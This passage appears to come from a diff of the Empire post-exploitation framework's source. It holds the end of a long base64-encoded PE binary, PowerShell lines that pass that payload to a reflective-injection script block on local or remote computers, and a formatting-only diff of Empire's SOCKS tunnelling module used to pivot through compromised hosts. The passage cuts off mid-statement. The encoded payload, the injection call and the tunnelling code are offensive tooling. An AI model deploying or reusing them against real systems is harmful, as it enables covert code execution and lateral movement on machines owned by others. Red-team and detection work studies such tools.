7fDuEO4w7lDucO6Q7rDu0O7w7xDvMO9Q73DvkO+w79Dv8OwQ8DDwUPBw8JDwsPDQ8PDxEPEw8VDxcPGQ8bDx0PHw8hDyMPJQ8nDykPKw8tDy8PMQ8zDzUPNw85DzsPPQ8/DwEPQw9FD0cPSQ9LD00PTw9RD1MPVQ9XD1kPWw9dD18PYQ9jD2UPZw9pD2sPbQ9vD3EPcw91D3cPeQ97D30Pfw9BD4MPhQ+HD4kPiw+ND48PkQ+TD5UPlw+ZD5sPnQ+fD6EPow+lD6cPqQ+rD60Prw+xD7MPtQ+3D7kPuw+9D78PgQ/DD8UPxw/JD8sPzQ/PD9EP0w/VD9cP2Q/bD90P3w/hD+MP5Q/nD+kP6w/tD+8P8Q/zD/UP9w/5D/sP/Q//D8AAAwAiAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDDUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHAO8g70DvYO+A76DvwO/g7ADwIPBA8GDwgPCg8MDw4PEA8SDxQPFg8YDxoPHA8eDyAPIg8kDyYPKA8qDywPLg8wDzIPNA82DzgPOg88Dz4PAA9CD0QPRg9ID0oPTA9OD1APUg9UD1YPWA9aD1wPXg9gD2IPZA9mD2gPag9sD24PcA9yD3QPdg94D3oPfA9+D0APgg+ED4YPiA+KD4wPjg+QD5IPlA+WD5gPmg+cD54PoA+iD6QPpg+oD6oPrA+uD7APsg+0D7YPuA+6D7wPvg+AD8IPxA/GD8gPyg/MD84P0A/SD9QP1g/YD9oP3A/eD+AP4g/kD+YP6A/qD+wP7g/wD/IP9A/2D/gP+g/8D/4PwAQDADIAAAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMRgxIDEoMTAxODFAMUgxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx4DHoMfAx+DEAMggyEDIYMiAyKDIwMjgyQDJIMlAyWDJgMmgycDJ4MoAyiDKQMpgyoDKoMrAyuDLAMsgy0DLYMso8zjzSPNY8ACAMAMQAAABkNmw2dDZ8NoQ2jDaUNpw2pDasNrQ2vDbENsw21DbcNuQ27Db0Nvw2BDcMNxQ3HDckNyw3NDc8N0Q3wD3IPeg99D0APgw+GD4kPnQ+eD58PoA+hD6IPow+kD6UPpg+nD6gPqQ+qD6sPrA+uD7APsg+0D7YPuA+6D7wPvg+AD8IPxA/GD8gPyg/MD84P0A/SD9QP1g/YD9oP3A/eD+AP4g/kD+YP6A/qD+wP7g/wD/IP9A/2D/gP+g/8D/4PwAwDABsAgAAADAIMBAwGDAgMCQwKDAsMDAwNDA4MDwwQDBEMEgwTDBQMFQwWDBcMGAwZDBoMGwwcDB0MHgwgDCEMIgwjDCQMJQwmDCcMKAwpDCoMKwwsDC0MLgwvDDAMMQwyDDMMNAw2DDgMOgw8DD4MAAxCDEQMhQyGDIcMiAyJDJwMngygDKIMpAymDKgMqgysDK4MsAyyDLQMtgy4DLoMvAy+DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDNUM1gzXDNgM2gzcDN4M4AziDOQM5gzoDOoM7AzuDPAM8gz0DPYM+Az6DPwM/gzADQINBA0GDQgNCg0MDQ4NEA0SDRQNFg0YDRoNHA0eDSANIg0kDSYNKA0qDSwNLg0wDTINNA02DTgNOg08DT4NAA1CDUQNRg1IDUoNTA1ODVANUg1UDVYNWA1aDVwNXg1gDWINZA1mDWgNag1sDW4NcA1yDXQNdg14DXoNfA1+DUANgg2EDYYNiA2KDYwNjg2QDZINlA2WDZwNnQ2eDZ8NoA2hDaMNpQ2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNlA4VDhYOFw4cDi4OMA4xDjIOMw40DjUONg43DjgOOQ46DjsOPA49Dj4OPw4CDkUOSA5LDk4OUQ5UDlcOWg5dDmAOYw5mDmkObA5vDnIOdQ54DnsOfA5/DmIOpA6lDqYOpw6oDqkOqg6rDrAOsQ6yDrMOuA6EDsUOxg7HDskOwA8BDwIPBA8IDw4PTw9QD1EPVg9vD/AP8Q/yD/MP+A/AEAMAIwAAABUMFgwXDBgMGQweDBYMVwxYDFkMXgxyDzQPNQ82DzcPPA8TD1cPWQ9aD1sPXA9eD2IPRA+FD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlw+YD5kPmg+kD6UPpg+nD6gPqQ+qD6sPrA+tD64Prw+wD7EPsg+zD7QPtQ+AAAAUAwAbAAAACAwJDAoMCwwQDC0MLgwvDDAMMQwGDEcMSAxJDEsMTgxaDFsMUA4RDhIOEw4YDjQONQ42DjcOPA4EDwgPDA8QDxQPGA8cDyAPJA8oDywPMA80DzUPNg83DzgPOQ86DzsPPA89DwAYAwAhAAAAIwxkDGUMZgxnDGgMaQxqDGsMbAxtDG4MbwxwDHEMdgxlDOYM9Qz5DPoM+wz8DP0M/gz/DMENBA0ODY8Nig6LDo0Ojg6PDpAOkQ6SDpMOlA6VDpYOlw6YDpkOmw6cDp0Ong6fDqEOow6kDqUOpg69Dr4Ovw6ADsEOyQ7NDsAcAwANAEAAFAzVDNYM2AzZDNoM2wzcDN0M3gzqDOsM7AztDO4M7wzJDU8N0A3RDdIN0w3UDeUN6w3xDfcN/Q3DDggOCQ4KDgsODA4NDg4ODw4QDhEOEg4TDhQOFQ4WDhgOKw4vDhAOUQ5SDlMOVA5VDlYOVw5YDlkOWg5bDlwOXQ5eDl8OYA5hDmIOYw5kDmUOZg5nDmgOaQ5qDmsObA5tDm4Obw5wDnEOcg5zDnQOdQ52DncOeA55DnoOew58Dn0Ofg5QDtEO0g7TDtQO3w7gDuEO4g7jDuQO5Q7mDucO6A7pDuoO6w7sDu0O7g7vDvAO8Q7yDvMO9A71DvcPuA+5D7oPkg/UD9YP2A/aD90P3g/fD+AP4Q/iD+MP5A/lD+YP5w/oD+kP6g/rD+wP7Q/uD8AAACADABYAgAAYDBoMGwwcDB0MHgwfDCAMIQwiDCMMJAwlDCYMJwwoDCkMKgwrDCwMLQwuDDMMNAw1DDYMNww8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxIDEkMSgxMDE0MTgxPDFEMUgxTDFQMVQxWDFgMWQxaDFsMXAxdDF4MXwxgDGEMZAxlDGYMZwxoDGkMagxrDGwMbQxuDG8McAxxDHIMcwx0DHUMdgx3DHkMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMnwygDKEMogyjDKQMpQymDKcMqAypDKoMqwysDK0MrgyvDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzFDMYMxwzIDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDNUM1gzXDNgM2QzaDNsM3AzdDN4M3wzgDOEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz7DPwM/Qz+DP8MwA0BDQINAw0EDQUNBg0HDQkNCg0LDRANFA0dDSENJA0mDSgNKg0sDS4NMA0yDRAOVA5YDlwOYA5kDmgObA5wDnQOeA58DkAOhA6IDowOkA6UDpgOnA6gDqQOqA6sDrAOtA64DrwOgA7EDsgOzA7QDtQO2A7cDuAO5A7oDuwO8A70DvgO/A7ADwQPCA8MDxAPFA8YDxwPIA8kDygPLA8wDzQPOA88DwAPRA9ID0AAACQDAA8AAAAcDx0PHg8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ8uDy8PMA8xDzIPMw80DwAAACwDAAYAwAAODVINWA3ZDdoN2w3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfIN8w30DfUN9g33DfgN+Q36DfsN/A39Df4N/w3ADgEOAg4DDgQOBQ4GDgcOCA4JDgoOCw4MDg0ODg4PDhAOEQ4SDhMOFA4VDhYOFw4YDhkOGg4bDhwOHQ4eDh8OIA4hDiIOIw4kDiUOJg4nDigOKQ4qDisOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA45DjoOOw48Dj0OPg4/DgAOQQ5CDkMORA5FDkYORw5IDkkOSg5LDkwOTQ5ODk8OUA5RDlIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5gDmEOYg5jDmQOZQ5mDmcOaA5pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOgw6EDpQO1Q7WDtcO2A7ZDtoO2w7cDt0O3g7fDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO8A7xDvIO8w71DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxgPGQ8aDxsPHA8dDx4PHw8gDyEPIg8jDyQPJQ8mDycPKA8pDyoPKw8sDy0PLg8vDzAPMQ8yDzMPNA81DzYPNw84DzkPOg87DzwPPQ8+Dz8PAA9BD0IPQw9ED0UPRg9HD0gPSQ9KD0sPTA9xD3IPcw91D3YPdw98D30Pfg9/D0APgQ+CD4MPhA+FD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+YD6APoQ+iD6MPpA+lD6YPpw+oD6kPqg+rD6wPrQ+uD68PsA+xD7QPtQ+2D7cPuA+5D7oPuw+8D70Pvg+/D4APwQ/CD8QPxQ/GD8cPyA/JD8oPyw/MD80P0A/RD9IP4A/hD+IP4w/wD/EP8g/zD/QP9Q/2D/cP+A/5D/oP+w/8D/0P/g//D8AAADADABABQAAADAMMBAwFDAsMDAwPDBIMEwwUDBYMFwwYDBoMGwwcDB4MHwwgDCIMIwwkDCUMJgwnDCgMKQwqDCsMLAwtDC4MLwwwDDEMMgwzDDQMNQw2DDcMOAw5DDoMOww8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxJDEoMTAxNDE4MTwxQDFEMUgxTDFYMWQxaDFwMXgxfDGAMYgxjDGYMZwxqDGsMbgxvDHAMcgxzDHQMdgx3DHgMegx7DH4MfwxCDIMMhgyHDIoMiwyODI8MkgyTDJYMlwyaDJsMngyfDKAMogyjDKQMpgynDKgMqQysDK8MsQyzDLgMuQyIDMkMygzLDMwMzQzfDOAM4QziDOMM5AzlDOYM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz7DPwM/Qz+DP8MwQ0QDRENEg0TDRQNFQ0WDRcNGA0ZDRoNGw0cDR0NHg0fDSANIQ0iDSMNJA0mDScNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DTsNPA0+DT8NAQ1CDUwNWg1bDVwNXQ1eDV8Nbg1zDXQNdw17DUQNhQ2GDYcNiA2JDYoNiw2MDY0Njg2PDZANkQ2SDZMNlA2VDZYNlw2YDZoNmw2dDZ4NoA2hDaMNpA2mDacNqQ2qDawNrQ2vDbANsg2zDbUNtg24DbkNuw28Db4Nvw2BDcINxA3FDccNyA3KDcsN0g3TDfoNwg4DDgYOCQ4KDg0OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDhsOHA4dDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw45DjoOPA49Dj4OPw4ADkEOQg5DDkQORQ5GDkcOSA5JDkoOTQ5QDlEOUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDmAOYQ5iDmMOZA5lDmYOZw5oDmkOag5rDmwObQ5uDm8OcA5xDnIOcw50DnUOdg53DngOeQ56DnsOfA59Dn4Ofw5ADoEOgg6DDoQOhQ6GDocOiA6JDooOiw6MDo0Ojg6PDpAOkQ6SDpUOmA6ZDpoOmw6cDp0Ong6fDqAOoQ6iDqMOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrIOsw60DrcOvw6ADsEOwg7DDsQOxw7IDskOyg7LDs0Ozg7QDtEO0w7UDtYO1w7ZDtoO3A7dDt8O4A7iDuMO5Q7mDugO6Q7rDuwO7g7vDvIO8w70DsQPBQ8GDwcPCA8JDwoPCw8MDw0PDg8PDxAPEQ8SDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8pDywPLQ8uDy8PMA8xDzIPMw80DzYPOQ86Dz0PAA9BD0IPQw9ED0UPRg9HD0gPSQ9KD0sPTA9ND04PTw9QD1EPUg9TD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9fD2APYQ9iD2UPaA9pD2oPaw9sD20Pbg9vD3APcQ9yD3MPdA91D3YPdw94D3kPeg97D3wPfQ9+D38PQA+BD4IPgw+ED4UPhg+HD4gPiQ+KD4sPjA+ND44Pjw+QD5EPkg+TD5QPlQ+WD5cPmA+ZD5oPmw+cD50Png+fD6APoQ+iD6MPpg+pD6oPqw+sD60Prw+wD7IPsw+0D7UPtg+3D7gPuQ+6D7sPvA+9D74Pvw+AD8EPyg/LD84Pzw/QD9EP0g/TD9QP1Q/WD9wP4g/oD+4P7w/0D/UP+g/7D8AAADQDAC4AQAAADAEMAgwDDAYMCQwKDAsMIAwhDCIMIwwkDCUMJgwnDCgMKQwqDCsMLAwtDC4MLwwwDDEMMgwzDDQMNQw2DDcMOAw5DDoMOww8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxJDFQMVQxWDFcMWAxZDFoMWwxcDF0MXgxfDGAMYQxiDGMMZAxlDGYMZwxoDGkMagx0DHUMdgx3DHgMeQx6DHsMfAx9DH4MTgydDJ8MoQyjDKUMtAy1DLYMtwyBDMIMwwzEDMYMyQzKDMsMzAzNDM4MzwzQDNEM0gzTDNQM1QzWDNcM2QzaDOAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7uDu8O8A7xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPCw8MDw0PDg8PDxAPEQ8SDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPOA85DzoPCQ+KD4sPjQ+OD48PkA+RD5IPpw+AOAMABgAAADAMsQyyDLMMpQzmDOsM7AzAKARABQBAAAUMhgyIDIkMiwyMDI8MkAyTDJQMlwyYDJsMnAyfDKAMowykDKcMqAyrDKwMrwywDLMMtAy3DLgMuwy8DL8MgAzDDMQMxwzIDMsMzAzPDNAM0wzUDNcM2AzbDNwM3wzgDOMM5AznDOgM6wzsDO8M8AzzDPQM9wz4DPsM/Az/DMANAw0EDQcNCA0LDQwNDw0QDRMNFA0XDRgNGw0cDR8NIA0jDSQNJw0oDSsNLA00DTwNPw0FDUYNTQ1ODVUNVg1eDWYNbg1xDXgNQA2IDZANkg2TDZoNoQ2iDaoNsg26DYINyg3SDdoN4g3qDfIN+g3CDgoOEg4aDiIOKg4yDjoOAg5KDlIOWQ5aDmEOYg5APARAKwAAAAAMTAxQDFQMWAxcDGIMZQxmDGcMbgxvDH4MRg3KDcsNzA3NDc4Nzw3QDdEN0g3TDdYN1w3YDdkN2g3bDdwN3Q39DgkOTQ5PDlAOUw5YDqIOpA6xDrMOgA7CDtYO2A7lDucOxg8IDxUPFw8kDyYPMw81DwIPRA9RD1MPYA9iD3IPdA9BD4MPkA+SD50Png+fD6APoQ+iD6QPlg/YD+UP5w/0D/YPwAAEgDMAAAADDAUMEgwUDCEMIwwwDDIMPwwBDE4MUAxdDF8MbAxuDEIMhAySDJQMoQyjDLAMsgy/DIEMzgzQDNwMyg0MDSINMQ0ADU8NXg1uDXANfQ1/DVsNoA2lDaoNrA25DbsNiA3KDdcN2Q3CDgQOEQ4TDiAOIg4vDjEOPg4ADlYOZQ50DkMOng6tDr4OjQ7cDusO+g7JDxYPGQ8kDyUPOg8JD1gPZw92D0UPlg+jD6QPpg+uD68PsQ+5D7wPhg/VD+QP9A/3D/8PwAQEgCUAQAAADAIMEgwhDDAMPwwODF0MbAx7DEoMmwycDJ4Mqgy3DLgMugyCDMMMxQzSDN8M4AziDO4M/QzMDRsNKg0rDS0NOg0JDVgNZw12DUUNoA2kDaoNrg20DbgNvg2CDcgNzA3SDdYN3A3gDeYN6g3wDfQN+g3+DcQOCA4ODhIOGA4cDiIOJg4wDjYONw44DjoOAA5EDk4OVA5VDlYOWA5eDmIOaA5sDnIOdg58DkAOhg6KDpAOlA6aDp4OpA6oDq4Osg64DrwOgg7GDswO0A7WDtoO4A7kDuoO7g70DvgO/g7CDwgPDA8SDxYPHA8gDyYPKg8wDzQPOg8+DwQPSA9OD1IPWA9cD2IPZg9sD20Pbg9vD3APdg93D3gPeQ96D0APgQ+CD4MPhA+KD4sPjA+ND44PlA+VD5YPlw+YD54Pnw+gD6EPog+oD6kPqg+rD6wPsA+yD7YPug+8D4APxA/GD8oP1A/eD+QP6A/uD+8P8A/xD/IP8w/0D/UP9g/3D/gP+Q/6D/sP/A/9D/4P/w/ACASAKwCAAAIMBAwIDAwMDgwSDBYMGAwcDCAMIgwmDCoMLAwwDDYMOgwADEQMSgxODFQMVQxWDFcMWAxeDF8MYAxhDGIMaAxpDGoMawxsDHIMcwx0DHUMdgx8DH0Mfgx/DEAMhgyHDIgMiQyKDJAMkQySDJMMlAyaDJsMnAydDJ4MpAylDKYMpwyoDK4MrwywDLEMsgy4DLkMugy7DLwMggzDDMQMxQzGDMwMzQzODM8M0AzWDNcM2AzZDNoM4AzhDOIM4wzkDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz7DMANAQ0CDQMNBA0FDQYNBw0IDQkNCg0LDQwNDQ0ODQ8NEA0RDRINFA0WDRgNHA0dDR8NIg0lDSYNKA0pDSsNLA0uDS8NMQ0yDTQNNQ03DTgNOg07DT0NAA1DDUQNRg1HDUkNSg1MDU0NTw1QDVINUw1VDVYNWA1ZDVsNXA1eDV8NYQ1iDWQNZQ1nDWgNag1rDW0Nbg1wDXENcw10DXYNdw15DXoNfA19DX8NQA2CDYMNhQ2GDYgNiQ2LDYwNjg2PDZENkg2UDZUNlw2YDZoNmw2dDZ4NoA2hDaMNpA2mDacNqQ2qDawNrQ2vDbANsg2zDbUNtg24DbkNuw28Db4Nvw2BDcINxA3FDccNyA3KDcsNzQ3ODdAN0Q3TDdQN1g3ZDdoN3A3dDd8N4g3lDegN6w3uDfEN9A31DfcN+A36DfsN/Q3ADgEOAw4GDgkOCg4QDhQOGg4eDiQOKA4rDi0ONg43DjgOOQ46DjsOPA49Dj4OPw4ADkEOQg5DDkQORQ5GDkcOUA5RDlIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5gDmEOYw5kDmUOZg5nDmgOaQ5qDmsObA5tDm4OQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs)
diff --git a/empire/server/data/module_source/python/management/socks.py b/empire/server/data/module_source/python/management/socks.py
index 8021c6885..2b05aca7c 100644
--- a/empire/server/data/module_source/python/management/socks.py
+++ b/empire/server/data/module_source/python/management/socks.py
@@ -8,15 +8,15 @@
import sys
from builtins import hex, next, object
-MTYPE_NOOP = 0x00 # No-op. Used for keepalive messages
+MTYPE_NOOP = 0x00 # No-op. Used for keepalive messages
MTYPE_COPEN = 0x01 # Open Channel messages
-MTYPE_CCLO = 0x02 # Close Channel messages
+MTYPE_CCLO = 0x02 # Close Channel messages
MTYPE_CADDR = 0x03 # Channel Address (remote endpoint address info)
-MTYPE_DATA = 0x10 # Data messages
+MTYPE_DATA = 0x10 # Data messages
def recvall(s, size):
- data = ''
+ data = ""
while len(data) < size:
d = s.recv(size - len(data))
if not d:
@@ -25,15 +25,16 @@ def recvall(s, size):
return data
-def integer_generator(seed=random.randint(0, 0xffffffff)):
+def integer_generator(seed=random.randint(0, 0xFFFFFFFF)):
while True:
- seed = (seed + 1) % 0xffffffff
+ seed = (seed + 1) % 0xFFFFFFFF
yield seed
class Message(object):
- """ Container class with (un)serialization methods """
- M_HDR_STRUCT = struct.Struct('!BII') # Message Type | Channel ID | Payload Size
+ """Container class with (un)serialization methods"""
+
+ M_HDR_STRUCT = struct.Struct("!BII") # Message Type | Channel ID | Payload Size
def __init__(self, mtype=MTYPE_NOOP, channel=0, size=0):
self.mtype = mtype
@@ -41,21 +42,27 @@ def __init__(self, mtype=MTYPE_NOOP, channel=0, size=0):
self.size = size
def __str__(self):
- return ''.format(self.mtype, self.channel)
+ return "".format(self.mtype, self.channel)
@classmethod
def unpack(cls, data):
if len(data) < cls.M_HDR_STRUCT.size:
- raise ValueError('Attempting to unpack a Message header from too little data')
- return Message(*cls.M_HDR_STRUCT.unpack(data[:cls.M_HDR_STRUCT.size])), data[cls.M_HDR_STRUCT.size:]
-
- def pack(self, data=''):
+ raise ValueError(
+ "Attempting to unpack a Message header from too little data"
+ )
+ return (
+ Message(*cls.M_HDR_STRUCT.unpack(data[: cls.M_HDR_STRUCT.size])),
+ data[cls.M_HDR_STRUCT.size :],
+ )
+
+ def pack(self, data=""):
self.size = len(data)
return self.M_HDR_STRUCT.pack(self.mtype, self.channel, self.size) + data
class Channel(object):
- """ Container class with remote socket and channel id """
+ """Container class with remote socket and channel id"""
+
def __init__(self):
self.socket = None # type: socket.socket
self.channel_id = None
@@ -65,7 +72,9 @@ def __init__(self):
self.logger = logging.getLogger(self.__class__.__name__)
def __str__(self):
- return ''.format(self.channel_id, self.remote_peer_addr, self.local_peer_addr)
+ return "".format(
+ self.channel_id, self.remote_peer_addr, self.local_peer_addr
+ )
@property
def connected(self):
@@ -75,36 +84,43 @@ def fileno(self):
return self.socket.fileno()
def close(self):
- self.logger.debug('Closing channel {}'.format(self))
+ self.logger.debug("Closing channel {}".format(self))
if self.connected:
try:
self.socket.shutdown(socket.SHUT_RDWR)
self.socket.close()
except Exception as e:
- self.logger.debug('Unable to close channel: {}'.format(e))
+ self.logger.debug("Unable to close channel: {}".format(e))
self.socket = None
class Tunnel(object):
- """ Container class with connected transport socket, list of Channels, and methods for passing Messages """
+ """Container class with connected transport socket, list of Channels, and methods for passing Messages"""
+
def __init__(self, transport_socket):
self.channels = [] # List[Channel]
self.transport_socket = transport_socket # type: socket.socket
self.logger = logging.getLogger(self.__class__.__name__)
- def send_message(self, msg, data=''):
- self.logger.debug('Sending {}'.format(msg))
+ def send_message(self, msg, data=""):
+ self.logger.debug("Sending {}".format(msg))
try:
self.transport_socket.sendall(msg.pack(data))
except (socket.error, TypeError) as e:
- self.logger.critical('Problem sending a message over transport: {}'.format(e))
+ self.logger.critical(
+ "Problem sending a message over transport: {}".format(e)
+ )
sys.exit(255)
def recv_message(self):
try:
- msg, _ = Message.unpack(recvall(self.transport_socket, Message.M_HDR_STRUCT.size))
+ msg, _ = Message.unpack(
+ recvall(self.transport_socket, Message.M_HDR_STRUCT.size)
+ )
except socket.error as e:
- self.logger.critical('Problem receiving a message over transport: {}'.format(e))
+ self.logger.critical(
+ "Problem receiving a message over transport: {}".format(e)
+ )
sys.exit(255)
return msg, recvall(self.transport_socket, msg.size)
@@ -128,7 +144,7 @@ def close_channel(self, channel_id, remote=False):
if c.channel_id == channel_id:
c.close()
self.channels.remove(c)
- self.logger.info('Closed channel: {}'.format(c))
+ self.logger.info("Closed channel: {}".format(c))
break
if remote:
msg = Message(mtype=MTYPE_CCLO, channel=channel_id)
@@ -138,10 +154,10 @@ def close_channel(self, channel_id, remote=False):
class SocksHandler(object):
SOCKS5_AUTH_METHODS = {
- 0x00: 'No Authentication Required',
- 0x01: 'GSSAPI',
- 0x02: 'USERNAME/PASSWORD',
- 0xFF: 'NO ACCEPTABLE METHODS'
+ 0x00: "No Authentication Required",
+ 0x01: "GSSAPI",
+ 0x02: "USERNAME/PASSWORD",
+ 0xFF: "NO ACCEPTABLE METHODS",
}
def __init__(self):
@@ -156,89 +172,128 @@ def handle(self, channel, data):
# Expecting [VERSION | NMETHODS | METHODS] (VERSION must be 0x05)
if len(data) < 2 or data[0] != 0x05 or len(data[2:]) != data[1]:
- return struct.pack('BB', 0x05, 0xFF) # No Acceptable Auth Methods
+ return struct.pack("BB", 0x05, 0xFF) # No Acceptable Auth Methods
methods = [self.SOCKS5_AUTH_METHODS.get(x, hex(x)) for x in data[2:]]
- self.logger.debug('Received SOCKS auth request: {}'.format(', '.join(methods)))
+ self.logger.debug(
+ "Received SOCKS auth request: {}".format(", ".join(methods))
+ )
self.auth_handled = True
- return struct.pack('BB', 0x05, 0x00) # No Auth Required
+ return struct.pack("BB", 0x05, 0x00) # No Auth Required
elif not self.request_handled:
if len(data) < 4 or ord(data[0]) != 0x05:
- return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x01, 0x00, 0x01, 0, 0
+ ) # General SOCKS failure
cmd = ord(data[1])
rsv = ord(data[2])
atyp = ord(data[3])
if cmd not in [0x01, 0x02, 0x03]:
- return struct.pack('!BBBBIH', 0x05, 0x07, 0x00, 0x01, 0, 0) # Command not supported
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x07, 0x00, 0x01, 0, 0
+ ) # Command not supported
if rsv != 0x00:
- return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x01, 0x00, 0x01, 0, 0
+ ) # General SOCKS failure
if atyp not in [0x01, 0x03, 0x04]:
- return struct.pack('!BBBBIH', 0x05, 0x08, 0x00, 0x01, 0, 0) # Address type not supported
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x08, 0x00, 0x01, 0, 0
+ ) # Address type not supported
if cmd == 0x01: # CONNECT
if atyp == 0x01: # IPv4
if len(data) != 10:
- return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x01, 0x00, 0x01, 0, 0
+ ) # General SOCKS failure
host = socket.inet_ntop(socket.AF_INET, data[4:8])
- port, = struct.unpack('!H', data[-2:])
+ (port,) = struct.unpack("!H", data[-2:])
af = socket.AF_INET
elif atyp == 0x03: # FQDN
size = ord(data[4])
if len(data[5:]) != size + 2:
- return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
- host = data[5:5+size]
- port, = struct.unpack('!H', data[-2:])
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x01, 0x00, 0x01, 0, 0
+ ) # General SOCKS failure
+ host = data[5 : 5 + size]
+ (port,) = struct.unpack("!H", data[-2:])
af = socket.AF_INET
atyp = 0x01
elif atyp == 0x04: # IPv6
if len(data) != 22:
- return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x01, 0x00, 0x01, 0, 0
+ ) # General SOCKS failure
host = socket.inet_ntop(socket.AF_INET6, data[5:21])
- port, = struct.unpack('!H', data[-2:])
+ (port,) = struct.unpack("!H", data[-2:])
af = socket.AF_INET6
else:
- raise NotImplementedError('Failed to implement handler for atype={}'.format(hex(atyp)))
+ raise NotImplementedError(
+ "Failed to implement handler for atype={}".format(hex(atyp))
+ )
- self.logger.debug('Received SOCKSv5 CONNECT request for {}:{}'.format(host, port))
+ self.logger.debug(
+ "Received SOCKSv5 CONNECT request for {}:{}".format(host, port)
+ )
try:
s = socket.socket(af)
s.settimeout(2)
s.connect((host, port))
except socket.timeout:
- return struct.pack('!BBBBIH', 0x05, 0x04, 0x00, 0x01, 0, 0) # host unreachable
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x04, 0x00, 0x01, 0, 0
+ ) # host unreachable
except socket.error:
- return struct.pack('!BBBBIH', 0x05, 0x05, 0x00, 0x01, 0, 0) # connection refused
+ return struct.pack(
